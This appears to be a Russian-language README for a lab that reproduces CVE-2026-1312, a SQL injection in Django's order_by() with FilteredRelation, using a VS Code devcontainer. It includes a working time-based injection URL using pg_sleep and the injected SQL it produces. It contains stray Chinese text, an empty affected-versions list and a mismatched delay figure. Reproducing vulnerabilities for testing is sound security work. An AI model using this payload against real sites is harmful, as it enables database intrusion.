
Воспроизводит CVE-2026-1312, уязвимость SQL-инъекции в Django, с помощью Docker-окружения и пошагового PoC для тестирования безопасности.
CVE-2026-1312 — это高危уязвимость SQL-инъекции в Django: когда в QuerySet.order_by() используется псевдоним столбца, содержащий точку, в сочетании с FilteredRelation, разворачиваемым через словарь при динамическом построении запроса, атакующий может внедрить вредоносный SQL.
Затронутые версии:
Этот проект уязвимости собирается с помощью devcontainer в VS Code.
1️⃣ Откройте проект Откройте корень существующего проекта (содержащий папку .devcontainer) в VS Code.
2️⃣ Переоткройте в контейнере (сборка Dev Container)
Нажмите Ctrl+Shift+P (Windows/Linux) или Cmd+Shift+P (Mac)
Введите Remote-Containers: Reopen in Container
VS Code прочитает конфигурацию .devcontainer и соберёт контейнер (первая сборка может занять несколько минут)
⚠️ Если Dockerfile или зависимости обновлялись, выберите Remote-Containers: Rebuild Container, чтобы гарантированно использовать актуальное окружение.
3️⃣ Запустите сервер разработки Django
Откройте палитру команд Ctrl+Shift+P
Введите Tasks: Run Task
Выберите django:start (задача уже настроена в .vscode/tasks.json)
Эта задача запустит сервер разработки Django внутри контейнера
По умолчанию он слушает 0.0.0.0:8086
4️⃣ Откройте проект в браузере
Откройте браузер и перейдите по адресу:
5️⃣ Примечания
При первом запуске:
Возможно, потребуется выполнить миграции базы данных:
python manage.py migrate
Обратитесь к интерфейсу /book/search, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
Вы увидите, что задержка в 3 секунды успешно срабатывает
В этот момент SQL, скомпилированный нижним уровнем ORM Django, выглядит так:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC